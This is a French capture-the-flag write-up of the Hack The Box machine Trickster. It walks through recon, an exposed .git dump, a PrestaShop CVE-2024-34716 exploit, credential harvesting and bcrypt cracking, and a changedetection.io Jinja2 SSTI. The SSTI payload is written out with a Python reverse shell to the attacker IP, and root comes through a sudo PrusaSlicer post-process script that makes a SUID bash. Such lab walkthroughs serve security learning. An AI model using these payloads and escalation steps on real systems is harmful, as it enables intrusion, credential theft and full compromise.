Trickster
User
J'utilise mon crawler récursif pour la reconnaissance initiale :
~/CTF/HTB/en_cours $ yg-scovery -u http://trickster.htb/
_____.___. _________
\__ | | ____ / _____/ ____ _______ __ ___________ ___.__.
/ | |/ ___\ ______ \_____ \_/ ___\/ _ \ \/ // __ \_ __ < | |
\____ / /_/ > /_____/ / \ \__( <_> ) /\ ___/| | \/\___ |
/ ______\___ / /_______ /\___ >____/ \_/ \___ >__| / ____|
\/ /_____/ \/ \/ \/ \/ v1.0.2
[INF] Scanning http://trickster.htb/ (Depth: 3)
[EXT] http://shop.trickster.htb
[EXT] https://html5up.net
[INT] http://trickster.htb/assets/css/main.css
[INT] http://trickster.htb/assets/css/noscript.css
[INT] http://trickster.htb/#intro
[INT] http://trickster.htb/#work
[INT] http://trickster.htb/#about
[INT] http://trickster.htb/#contact
[INT] http://trickster.htb/images/pic01.jpg
[INT] http://trickster.htb/images/pic02.jpg
[INT] http://trickster.htb/images/pic03.jpg
[INT] http://trickster.htb/assets/js/jquery.min.js
[INT] http://trickster.htb/assets/js/browser.min.js
[INT] http://trickster.htb/assets/js/breakpoints.min.js
[INT] http://trickster.htb/assets/js/util.js
[INT] http://trickster.htb/assets/js/main.js
[EXT] https://fonts.googleapis.com/css?family=Source+Sans+Pro:300italic,600italic,300,600
[INT] http://trickster.htb/images/overlay.png
[INT] http://trickster.htb/images/bg.jpg
Il y a un sous-domaine en explicite donc j'y vais. À noter : je dois faire en sorte que mon crawler ne mette pas les faux positifs et les erreurs parce que là j'en ai plein.
Le fuzzing de répertoires ne renvoie rien. Pareil pour les sous-domaines (ffuf + subfinder), donc on a que shop.
Je dois essayer de trouver les technos que le site utilise. Je regarde le header HTTP :
~/CTF/HTB/en_cours $ curl -I http://shop.trickster.htb
HTTP/1.1 200 OK
Date: Wed, 17 Dec 2025 10:38:16 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=dinh325a7oubv70aq96lj0eo1i; expires=Mon, 22-Dec-2081 21:16:32 GMT; Max-Age=1767695896; path=/; HttpOnly; SameSite=Lax
Set-Cookie: PrestaShop-8460c864c88c2f307734ab15f2244f46=def502005cf477455c4e639fbb7c243acf36530a...
Content-Type: text/html; charset=utf-8
Le robots.txt est rempli d'infos et la première ligne nous dit :
# robots.txt automatically generated by PrestaShop e-commerce open-source solution
Ça sent la CVE. Je cherche des vulnérabilités concernant PrestaShop. J'en ai trouvé une, je cherche les infos qu'on a dessus et surtout les PoCs :
~/CTF/HTB/en_cours $ vulnx id CVE-2024-34716
__ __ _ __ __
\ \ / /_ _ | | _ _ \ \/ /
\ V /| || || || ' \ > <
\_/ \_,_||_||_||_|/_/\_\
the swiss army knife for vulnerability intelligence
[INF] Current vulnx version v1.0.0 (latest)
[INF] Configure API key with 'vulnx auth' to avoid rate limits
[CVE-2024-34716] Critical - PrestaShop - Stored XSS
↳ Priority: HIGH | EXPLOITS AVAILABLE | Vuln Age: 581d
↳ CVSS: 9.6 | EPSS: 0.3666 | KEV: ✘
↳ Patch: ✘ | POCs: 3 | Template: ✘ | HackerOne: ✘
Summary 📝
↳ PrestaShop 8.1.0 to 8.1.5 with customer-thread feature flag enabled contains a
reflected cross-site scripting caused by malicious file upload through the contact
form, letting attackers execute scripts when admin opens the file, exploit requires
the feature flag to be enabled.
Risk ⚠️
↳ Attackers can execute malicious scripts in admin's browser, potentially stealing
session data or performing unauthorized actions as admin.
Remediation 🔧
↳ Update to PrestaShop 8.1.6 or disable the customer-thread feature flag.
POCs 🔍
→ https://github.com/TU-M/Trickster-HTB (gh-nomi-sec)
→ https://github.com/0xDTC/Prestashop-CVE-2024-34716 (gh-nomi-sec)
→ https://github.com/aelmokhtar/CVE-2024-34716 (gh-nomi-sec)
Le PoC suivant demande :
GitHub - 0xDTC/Prestashop-CVE-2024-34716: PoC for CVE-...
./exploit.sh
Il me manque l'admin email qui est en fait en bas de la page : admin@trickster.htb. Mais il me manque aussi l'admin endpoint donc je fuzze avec common.txt :
/Wordlists $ ffuf -w common.txt.1 -u http://shop.trickster.htb/FUZZ -mc 200,301,302
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : http://shop.trickster.htb/FUZZ
:: Wordlist : FUZZ: /home/ygp4ph/Wordlists/common.txt.1
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,301,302
________________________________________________
.git/config [Status: 200, Size: 112, Words: 11, Lines: 8, Duration: 51ms]
.git [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 66ms]
.git/HEAD [Status: 200, Size: 28, Words: 2, Lines: 2, Duration: 166ms]
.git/index [Status: 200, Size: 252177, Words: 733, Lines: 978, Duration: 75ms]
.git/logs/ [Status: 200, Size: 1137, Words: 77, Lines: 18, Duration: 226ms]
:: Progress: [4750/4750] :: Job [1/1] :: 325 req/sec :: Duration: [0:00:14] :: Errors: 0 ::
Belle découverte : il y a le .git exposé !
http://shop.trickster.htb/.git/
Je dump le git avec l'outil suivant :
GitHub - arthaud/git-dumper: Dump a git repository fro...
git-dumper http://shop.trickster.htb/.git/ ./
Il y a tout le git, la page admin est à admin634ewutrx1jgitlooaj.
Maintenant je peux utiliser l'exploit de la CVE :
~/CTF/HTB/en_cours $ ./CVE-2024-34716.sh http://shop.trickster.htb/ /admin634ewutrx1jgitlooaj admin@trickster.htb 10.10.14.31
[*] Ensure Netcat is listening: nc -nvlp 9001
[*] Awaiting netcat listener...
...
[*] Creating PHP reverse shell...
[*] Packaging shell as Love-exploit.zip...
[*] Building HTML payload for CSRF...
[*] Converting HTML to PNG...
[*] Checking for existing HTTP server on port 8000...
[*] Starting new HTTP server on port 8000 for payload delivery...
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
[*] Fetching CSRF token...
[+] CSRF token retrieved: 2474ce65617b3158537cc0eb0cd31c55
[*] Uploading XSS payload to trigger CSRF...
[*] Keeping script running to monitor for incoming connections...
Finalement j'utilise un autre parce que celui-là ne fonctionne pas :
GitHub - aelmokhtar/CVE-2024-34716: CVE-2024-34716 : R...
J'ai mon reverse shell. Maintenant je cherche des creds dans la db donc je me renseigne sur le stockage de secrets dans les apps PrestaShop. D'après la documentation PrestaShop, les fichiers de configuration importants sont :
/config/config.inc.php/config/defines.inc.php/config/smarty.config.inc.php/app/config/parameters.php
Je cat ces fichiers et rien d'intéressant sauf dans le dernier :
www-data@trickster:~/prestashop$ cat app/config/parameters.php
<?php return array (
'parameters' =>
array (
'database_host' => '127.0.0.1',
'database_port' => '',
'database_name' => 'prestashop',
'database_user' => 'ps_user',
'database_password' => 'prest@shop_o',
'database_prefix' => 'ps_',
'database_engine' => 'InnoDB',
'mailer_transport' => 'smtp',
'mailer_host' => '127.0.0.1',
'mailer_user' => NULL,
'mailer_password' => NULL,
'secret' => 'eHPDO7bBZPjXWbv3oSLIpkn5XxPvcvzt7ibaHTgWhTBM3e7S9kbeB1TPemtIgzog',
'ps_caching' => 'CacheMemcache',
'ps_cache_enable' => false,
'ps_creation_date' => '2024-05-25',
'locale' => 'en-US',
'use_debug_toolbar' => true,
'cookie_key' => '8PR6s1SJZLPCjXTegH7fXttSAXbG2h6wfCD3cLk5GpvkGAZ4K9hMXpxBxrf7s42i',
'cookie_iv' => 'fQoIWUoOLU0hiM2VmI1KPY61DtUsUx8g',
'new_cookie_key' => 'def000001a30bb7f2f22b0a7790f2268f8c634898e0e1d32444c3a03f4040bd5e8cb44bdb57a73f70e01cf83a38ec5d2ddc1741476e83c45f97f763e7491cc5e002aff47',
...
),
J'ai les creds d'une database, je dois y entrer :
mysql -u ps_user -pprest@shop_o
La syntaxe MariaDB est un peu différente :
MariaDB [(none)]> show databases ;
+--------------------+
| Database |
+--------------------+
| information_schema |
| prestashop |
+--------------------+
2 rows in set (0.001 sec)
MariaDB [(none)]> use prestashop
Database changed
MariaDB [prestashop]> show tables ;
+-------------------------------------------------+
| Tables_in_prestashop |
+-------------------------------------------------+
| ps_access |
| ps_accessory |
| ps_address |
...
| ps_employee |
| ps_employee_session |
...
| ps_authorization_role |
...
276 rows in set (0.002 sec)
Je ne sais pas par quoi commencer. ps_authorization_role, ps_access, ps_carrier, ps_employee, ps_profile : c'est une bonne base pour commencer.
Je vérifie d'abord les utilisateurs système :
www-data@trickster:/$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
james:x:1000:1000:trickster:/home/james:/bin/bash
adam:x:1002:1002::/home/adam:/bin/bash
runner:x:1003:1003::/home/runner:/bin/sh
Je dois chercher adam et james. Rien d'intéressant dans les autres tables sauf ps_employee :
| 2 | 2 | 0 | james | james | james@trickster.htb | $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm | 2024-09-09 13:22:42 | ... |
La dernière ligne est un mdp bcrypt je pense (j'ai envie de pleurer). Je cherche le mode hashcat correspondant :
$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm
~ $ hashcat -m 3200 hash.txt Wordlists/rockyou.txt
...
$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm:alwaysandforever
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6y...yunCmm
Time.Started.....: Fri Dec 19 19:34:58 2025 (7 secs)
Time.Estimated...: Fri Dec 19 19:35:05 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-72 bytes)
Guess.Base.......: File (Wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 5702 H/s (10.43ms) @ Accel:1 Loops:32 Thr:16 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 37056/14344384 (0.26%)
Rejected.........: 0/37056 (0.00%)
Restore.Point....: 36960/14344384 (0.26%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-16
Candidate.Engine.: Device Generator
Candidates.#01...: classof04 -> Victor
Hardware.Mon.#01.: Temp: 53c Fan: 0% Util: 15% Core: 533MHz Mem: 400MHz Bus:16
Started: Fri Dec 19 19:34:39 2025
Stopped: Fri Dec 19 19:35:05 2025
alwaysandforever
~ $ ssh james@trickster.htb
soy un hombre feliz 🎉
Root
james n'est pas sudo, je vérifie si adam l'est. Il ne l'est pas, je vais quand même tenter un mouvement latéral dans le doute.
LinPEAS ne peut rien faire vu que JE ne peux rien faire, en revanche il dit que quelque chose tourne sur 127.0.0.1:35835.
On sait aussi qu'on a un Docker qui tourne sur l'IP suivante :
3: docker0: mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:4f:b0:7b:5a brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
Je regarde aussi les ports :
james@trickster:~$ netstat -plnt
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:35835 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:6677 0.0.0.0:* LISTEN 49649/python3
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
james@trickster:~$ ping 172.17.0.1
PING 172.17.0.1 (172.17.0.1) 56(84) bytes of data.
64 bytes from 172.17.0.1: icmp_seq=1 ttl=64 time=0.202 ms
64 bytes from 172.17.0.1: icmp_seq=2 ttl=64 time=0.057 ms
^C
Je cherche des infos sur le Docker (je n'ai pas le droit de docker ps) :
james@trickster:~$ for i in {1..10}; do (ping -c 1 -W 1 172.17.0.$i | grep "bytes from" &); done
64 bytes from 172.17.0.1: icmp_seq=1 ttl=64 time=0.077 ms
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.051 ms
james@trickster:~$ for port in {22,80,443,3000,5000,8000,8080,9000}; do
(echo > /dev/tcp/172.17.0.2/$port) >/dev/null 2>&1 && echo "Port $port ouvert sur 172.17.0.2" &
done
C'est un mini nmap (vu que je ne peux pas l'installer) PoweredByGemini 😄
"Port 5000 ouvert sur 172.17.0.2"
Je curl le port 5000, je -L pour follow redirect :
james@trickster:~$ curl -L 172.17.0.2:5000
<!DOCTYPE html>
<html lang="en" data-darkmode="false">
<head>
<meta charset="utf-8" >
<meta name="viewport" content="width=device-width, initial-scale=1.0" >
<meta name="description" content="Self hosted website change detection." >
<title>Change Detection</title>
...
<div class="sticky-tab" id="right-sticky">v0.45.20</div>
...
<form class="pure-form pure-form-stacked" action="/login" method="POST">
<input type="hidden" name="csrf_token" value="ImE0NTQ2MmY2MzhiYzYxOTk2NTAwMGRiNTQ3NDJlNDMyNzcyYjJjYTUi...">
...
<input type="password" id="password" required="" name="password" value="" size="15" autofocus />
<input type="hidden" id="email" name="email" value="defaultuser@changedetection.io" >
...
(j'ai retiré les SVG du résultat dans un souci d'espace)
Je dois essayer d'accéder au site depuis mon vrai PC. Je cherche des vulnérabilités concernant changedetection.io. Il y en a deux principales : CVE-2024-34061 et CVE-2024-32651.
Je commence par la plus critique donc CVE-2024-32651 :
~ $ vulnx id CVE-2024-32651
__ __ _ __ __
\ \ / /_ _ | | _ _ \ \/ /
\ V /| || || || ' \ > <
\_/ \_,_||_||_||_|/_/\_\
the swiss army knife for vulnerability intelligence
[INF] Current vulnx version v1.0.0 (latest)
[INF] Configure API key with 'vulnx auth' to avoid rate limits
[CVE-2024-32651] Critical - changedetection.io - Server Side Template Injection
↳ Priority: URGENT | EXPLOITS AVAILABLE | Vuln Age: 601d
↳ CVSS: 10.0 | EPSS: 0.9261 (HIGH) | KEV: ✘
↳ Patch: ✘ | POCs: 2 | Template: ✔ | HackerOne: ✘
Summary 📝
↳ changedetection.io contains a server-side template injection caused by unsafe
functions of Jinja2, letting remote attackers execute arbitrary commands on the
server host, exploit requires attacker to send malicious template input.
Risk ⚠️
↳ Remote attackers can execute arbitrary commands on the server, potentially
leading to full system compromise.
Remediation 🔧
↳ Update changedetection.io to a version that fixes unsafe Jinja2 functions or
apply security patches to sanitize template inputs.
POCs 🔍
→ https://github.com/s0ck3t-s3c/CVE-2024-32651-changedetection-RCE (gh-nomi-sec)
→ https://github.com/zcrosman/cve-2024-32651 (gh-nomi-sec)
Nuclei Template ⚛️
→ https://cloud.projectdiscovery.io/library/CVE-2024-32651
Je suis gâté en termes de PoCs ! Pour accéder au Docker depuis ici je dois faire un tunnel SSH :
ssh -L 5000:172.17.0.2:5000 james@trickster.htb
J'arrive sur une page de connexion dans laquelle je mets le mot de passe de james alwaysandforever. Je peux maintenant utiliser la CVE.
Le PoC suivant exploite la capacité d'introspection de Python via le moteur de template Jinja2 pour sandbox escape vers RCE :
GitHub - s0ck3t-s3c/CVE-2024-32651-changedetection-RCE...
- Évasion du contexte (Sandbox Escape) :
().__class__.__base__.__subclasses__(): Cette chaîne part d'un tuple vide pour remonter à la classe parente fondamentaleobject. La méthode__subclasses__()liste ensuite toutes les classes Python actuellement chargées en mémoire par l'application, donnant accès à des fonctionnalités non prévues par le template.
- Recherche de "Gadget" :
{% if "warning" in x.__name__ %}: Le script itère sur ces classes pour en trouver une dont le nom contient "warning" (souventwarnings.catch_warnings). Ce type de classe est ciblé car il contient des références vers des modules internes puissants.
- Exécution de commande (RCE) :
x()._module.__builtins__['__import__']('os'): Une fois la classe instanciée, on accède à son module d'origine (_module), puis aux fonctions natives (__builtins__). Cela permet d'appeler manuellement la fonction__import__pour charger le module systèmeos, normalement interdit..popen(...): Utilise la fonctionos.popenpour exécuter une commande système shell sur le serveur.
- Le Reverse Shell :
- La commande passée à
popenest un one-liner Python classique qui ouvre un socket vers mon IP (10.10.14.31) et redirige les entrées/sorties standard (stdin, stdout, stderr) vers ce socket viaos.dup2, avant de lancer un shell interactif avecpty.spawn("/bin/bash").
- La commande passée à
Payload final :
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.14.31\",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/bash\")'").read()}}
{% endif %}
{% endfor %}
J'ai mon reverse shell, je dois maintenant m'échapper du Docker :
root@a4b9a36ae7ff:/app# ls
changedetection.py changedetectionio
root@a4b9a36ae7ff:/app# id
uid=0(root) gid=0(root) groups=0(root)
Je regarde les capabilities :
root@a4b9a36ae7ff:/app# capsh --print
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap=ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap
...
Je regarde les volumes (de toute façon les capabilities m'interdisent de mount : CAP_SYS_ADMIN je ne l'ai pas).
Bon rien n'est possible pour une docker escape. LinPEAS avait trouvé le repo de data du Docker qui contient des infos intéressantes :
root@a4b9a36ae7ff:/app# ls -la /datastore
total 48
drwxr-xr-x 5 root root 4096 Dec 19 21:03 .
drwxr-xr-x 1 root root 4096 Sep 26 2024 ..
drwxr-xr-x 2 root root 4096 Aug 31 2024 Backups
drwxr-xr-x 2 root root 4096 Sep 19 2024 b86f1003-3ecb-4125-b090-27e15ca605b9
drwxr-xr-x 2 root root 4096 Sep 19 2024 bbdd78f6-db98-45eb-9e7b-681a0c60ea34
-rw-r--r-- 1 root root 64 Aug 30 2024 secret.txt
-rw-r--r-- 1 root root 155 Aug 30 2024 url-list-with-tags.txt
-rw-r--r-- 1 root root 73 Aug 30 2024 url-list.txt
-rw-r--r-- 1 root root 14457 Dec 19 21:03 url-watches.json
Je vais exfiltrer ce dossier : compression → exfiltration vers hôte trickster → exfiltration vers moi.
~/Documents/datastore $ ltl
drwxr-xr-x@ - ygp4ph 19 déc. 22:20 .
drwxr-xr-x@ - ygp4ph 19 sept. 2024 ├── b86f1003-3ecb-4125-b090-27e15ca605b9
.rw-r--r--@ 1,7k ygp4ph 31 août 2024 │ ├── 7fa5d9292139604c79d87fb69f21ffe2.txt.br
...
drwxr-xr-x@ - ygp4ph 31 août 2024 ├── Backups
.rw-r--r--@ 6,2k ygp4ph 31 août 2024 │ ├── changedetection-backup-20240830194841.zip
.rw-r--r--@ 34k ygp4ph 30 août 2024 │ └── changedetection-backup-20240830202524.zip
...
changedetection-backup-20240830202524.zip est la plus lourde mais elle n'est pas intéressante ; je continue ma tentative de mouvement latéral.
Je décompresse toutes les archives puis fais un brutal grep -r adam :
~/Documents/datastore $ \cat ./dump_v2/b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt
This website requires JavaScript.
Explore Help
Register Sign In
james/prestashop
Watch 1
Star 0
Fork 0
You've already forked prestashop
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
main
prestashop / app / config / parameters.php
james 8ee5eaf0bb prestashop
2024-08-30 20:35:25 +01:00
64 lines
3.1 KiB
PHP
Raw Permalink Blame History
'database_host' => '127.0.0.1',
'database_port' => '',
'database_name' => 'prestashop',
'database_user' => 'adam',
'database_password' => 'adam_admin992',
'database_prefix' => 'ps_',
'database_engine' => 'InnoDB',
...
Trouvé : adam_admin992
Je me connecte à adam et je suis désormais adam :
adam@trickster:~$ sudo -l
Matching Defaults entries for adam on trickster:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User adam may run the following commands on trickster:
(ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer
Je peux utiliser sudo ! Je regarde ce binaire :
adam@trickster:~$ /opt/PrusaSlicer/prusaslicer
DISPLAY not set, GUI mode not available.
PrusaSlicer-2.6.1+linux-x64-GTK2-202309060801 based on Slic3r (with GUI support)
https://github.com/prusa3d/PrusaSlicer
Usage: prusa-slicer [ ACTIONS ] [ TRANSFORM ] [ OPTIONS ] [ file.stl ... ]
Actions:
--export-3mf Export the model(s) as 3MF.
--export-gcode, --gcode, -g
Slice the model and export toolpaths as G-code.
...
Other options:
--load ABCD Load configuration from the specified file.
--output ABCD, -o ABCD
The file where the output will be written...
Exploit-DB - PrusaSlicer Vulnerability
D'après Exploit-DB, c'est un logiciel d'impression 3D. On peut lancer un script de post-process après le découpage (slicing) d'un modèle. Comme je lance l'app en sudo, ce script sera exécuté en root !
- Je crée un script
pwn.shdans/dev/shmqui copie/bin/bashet lui met le bit SUID (chmod 4777) - Je crée un fichier 3D valide (
cube.obj) PoweredByGemini pour que le logiciel accepte de faire son travail - J'injecte mon script via l'argument
--post-process
La commande s'exécute, le script se lance. Je vérifie /tmp/rootbash, il est bien là avec les droits SUID. Je maintiens avec ./rootbash -p et c'est bon :
adam@trickster:~$ echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod 4777 /tmp/rootbash' > /dev/shm/pwn.sh
adam@trickster:~$ chmod +x /dev/shm/pwn.sh
adam@trickster:~$ cat <<EOF > /dev/shm/cube.obj
v 0.0 0.0 0.0
v 0.0 0.0 1.0
v 0.0 1.0 0.0
v 0.0 1.0 1.0
v 1.0 0.0 0.0
v 1.0 0.0 1.0
v 1.0 1.0 0.0
v 1.0 1.0 1.0
f 1 7 5
f 1 3 7
f 1 4 3
f 1 2 4
f 3 8 7
f 3 4 8
f 5 7 8
f 5 8 6
f 1 5 6
f 1 6 2
f 2 6 8
f 2 8 4
EOF
adam@trickster:~$ sudo /opt/PrusaSlicer/prusaslicer --export-gcode /dev/shm/cube.obj --post-process /dev/shm/pwn.sh
10 => Processing triangulated mesh
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
65 => Searching support spots
69 => Alert if supports needed
print warning: Detected print stability issues:
cube.obj
Low bed adhesion
Consider enabling supports.
Also consider enabling brim.
88 => Generating skirt and brim
90 => Exporting G-code to /dev/shm/cube.gcode
Slicing result exported to /dev/shm/cube.gcode
adam@trickster:~$ ls -l /tmp/rootbash
-rwsrwxrwx 1 root root 1396520 Dec 19 21:50 /tmp/rootbash
adam@trickster:~$ /tmp/rootbash -p
rootbash-5.1# cat /root/root.txt
Rooted